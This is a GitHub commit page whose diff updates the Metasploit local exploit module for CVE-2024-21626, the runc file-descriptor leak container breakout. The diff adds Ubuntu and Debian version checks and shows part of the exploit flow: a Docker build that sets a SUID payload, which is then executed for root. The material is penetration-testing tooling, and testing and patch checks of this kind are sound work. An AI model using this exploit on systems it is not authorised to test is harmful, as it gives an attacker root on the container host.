Skip to content

Commit

Permalink
Land #18838, Improve Runc Priv Esc Check
Browse files Browse the repository at this point in the history
This PR adds support for Debian and number of fixes and improvements for
the runc_cwd_priv_esc. Proir to this fix the module would report
vulnerable for a number of versions that the patch had been back ported
to.
  • Loading branch information
jheysel-r7 committed Mar 18, 2024
2 parents 15c56a8 + 67fcd57 commit bf0d81d
Showing 1 changed file with 89 additions and 25 deletions.
114 changes: 89 additions & 25 deletions modules/exploits/linux/local/runc_cwd_priv_esc.rb
Original file line number Diff line number Diff line change
Expand Up @@ -24,11 +24,14 @@ def initialize(info = {})
Due to a file descriptor leak it is possible to mount the host file system
with the permissions of runc (typically root).
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.
Also tested on Debian 12.4.0 with runc 1.1.11 using Docker build.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'SickMcNugget', # Check method enhancements
'jheysel-r7', # Check method enhancements
'Rory McNamara' # Discovery
],
'Platform' => [ 'linux' ],
Expand All @@ -39,6 +42,8 @@ def initialize(info = {})
'References' => [
[ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'],
[ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'],
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2024-21626'],
[ 'URL', 'https://ubuntu.com/security/CVE-2024-21626'],
[ 'CVE', '2024-21626']
],
'DisclosureDate' => '2024-01-31',
Expand All @@ -59,7 +64,7 @@ def initialize(info = {})
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]),
OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 8 ]),
OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 7 ]),
]
end

Expand All @@ -70,38 +75,92 @@ def base_dir
def check
sys_info = get_sysinfo

unless sys_info[:distro] == 'ubuntu'
return CheckCode::Safe('Check method only available for Ubuntu systems')
# Make sure both docker and runc are present
unless command_exists?('runc')
return CheckCode::Safe('The runc command was not found on this system')
end

return CheckCode::Safe('Check method only available for Ubuntu systems') if executable?('runc')

# Check the app is installed and the version, debian based example
package = cmd_exec('runc --version')
package = package.split[2] # runc, version, <the actual version>
unless command_exists?('docker')
return CheckCode::Safe('The docker command was not found on this system')
end

if package&.include?('1.1.7-0ubuntu1~22.04.1') || # jammy 22.04 only has 2 releases, .1 (vuln) and .2
package&.include?('1.0.0~rc10-0ubuntu1') || # focal only had 1 release prior to patch, 1.1.7-0ubuntu1~20.04.2 is patched
package&.include?('1.1.7-0ubuntu2') # mantic only had 1 release prior to patch, 1.1.7-0ubuntu2.2 is patched
return CheckCode::Appears("Vulnerable runc version #{package} detected")
minimum_version = '1.0.0'
version_info = cmd_exec('runc --version')

case sys_info[:distro]
when 'ubuntu'
version_info =~ /runc version\s+(\d+\S*)/
unfiltered_version = Regexp.last_match(1)

# https://ubuntu.com/security/CVE-2024-21626
if sys_info[:version].include? '23.10' # mantic
fixed_version = '1.1.7-0ubuntu2.2'
elsif sys_info[:version].include? '23.04' # lunar
fixed_version = '1.1.7-0ubuntu1'
elsif sys_info[:version].include? '22.10' # kinetic
fixed_version = '1.1.7-0ubuntu1'
elsif sys_info[:version].include? '22.04' # jammy
fixed_version = '1.1.7-0ubuntu1~22.04.2'
elsif sys_info[:version].include? '20.04' # focal
fixed_version = '1.1.7-0ubuntu1~20.04.2'
elsif sys_info[:version].include? '18.04' # bionic
fixed_version = '1.1.4-0ubuntu1~18.04.2+esm1'
elsif sys_info[:version].include? '16.04' # xenial
return CheckCode::Safe('Ubuntu version not affected')
elsif sys_info[:version].include? '14.04' # trusty
return CheckCode::Detected('Patch for this Ubuntu version was ignored. (end of standard support)')
else
fixed_version = '1.1.12'
end
# Replace any "+esm", "ubuntu", "~" or "-" with a "."
fixed_version = fixed_version.gsub(/\+[a-zA-Z]+/, '.').gsub(/ubuntu/, '.').gsub(/-/, '.').gsub(/~/, '.')
runc_version = unfiltered_version.gsub(/\+[a-zA-Z]+/, '.').gsub(/ubuntu/, '.').gsub(/-/, '.').gsub(/~/, '.')
when 'debian'

# The command runc --version returns a number of different fields, ex:
# "runc version 1.1.5+ds1\ncommit: 1.1.5+ds1-1+deb12u1\nspec: 1.0.2-dev\ngo: go1.19.8\nlibseccomp: 2.5.4"
#
# For Debian the 'version' field doesn't always provide enough accuracy (particularly for Buster) to determine
# whether or not the version is vulnerable which is why we extract the 'commit' field as it provides more detail.

version_info =~ /commit:\s+(\d+\S*)/
unfiltered_version = Regexp.last_match(1)

# https://security-tracker.debian.org/tracker/CVE-2024-21626
if sys_info[:version].include? '13' # Trixie (unstable at time of writing 2024-02-28)
fixed_version = '1.1.12+ds1-1'
elsif sys_info[:version].include? '12' # Bookworm
fixed_version = '1.1.5+ds1-1+deb12u1'
elsif sys_info[:version].include? '11' # Bullseye
fixed_version = '1.0.0~rc93+ds1-5+deb11u3'
elsif sys_info[:version].include? '10' # Buster
fixed_version = '1.0.0~rc6+dfsg1-3+deb10u3'
else
fixed_version = '1.1.12'
end
# Replace any "+deb", "+ds", "~rc", "u" or "-" with a "."
fixed_version = fixed_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.')
runc_version = unfiltered_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.')
else
return CheckCode::Safe('Check method only available for Debian/Ubuntu systems')
end

unless package&.include?('+esm') # bionic patched with 1.1.4-0ubuntu1~18.04.2+esm1 so anything w/o +esm is vuln
return CheckCode::Appears("Vulnerable runc version #{package} detected")
if Rex::Version.new(runc_version) < Rex::Version.new(fixed_version) && Rex::Version.new(runc_version) >= Rex::Version.new(minimum_version)
return CheckCode::Appears("Version of runc detected appears to be vulnerable: #{unfiltered_version}.")
end

CheckCode::Safe("runc #{package} is not vulnerable")
CheckCode::Safe("runc version #{unfiltered_version} is not vulnerable.")
end

def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override')
end

# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end

# create directory to write all our files to
Expand All @@ -124,18 +183,23 @@ def exploit
register_file_for_cleanup("#{dir}/Dockerfile")

print_status('Building from Dockerfile to set our payload permissions')
output = cmd_exec "cd #{dir} && docker build ."
output = cmd_exec("cd #{dir} && docker build .")
output.each_line { |line| vprint_status line.chomp }

# delete our docker image
if output =~ /Successfully built ([a-z0-9]+)$/
# delete our docker image (second test created for docker v25.0.3)
if output =~ /Successfully built ([a-z0-9]+)$/ || output =~ /writing image sha256:([a-z0-9]+) done$/
print_status("Removing created docker image #{Regexp.last_match(1)}")
output = cmd_exec "docker image rm #{Regexp.last_match(1)}"
output = cmd_exec("docker image rm #{Regexp.last_match(1)}")
output.each_line { |line| vprint_status line.chomp }
elsif output.include?("mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory")
fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.")
else
fail_with(Failure::NoAccess, 'Failed to build docker container. The user may not have docker permissions')
end

fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.") if output.include? "mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory"
fail_with(Failure::NoAccess, 'Payload SUID bit not set') unless get_suid_files(payload_path).include? payload_path
unless setuid?(payload_path)
fail_with(Failure::NoAccess, 'Payload SUID bit not set')
end

print_status("Payload permissions set, executing payload (#{payload_path})...")
cmd_exec "#{payload_path} &"
Expand Down

0 comments on commit bf0d81d

Please sign in to comment.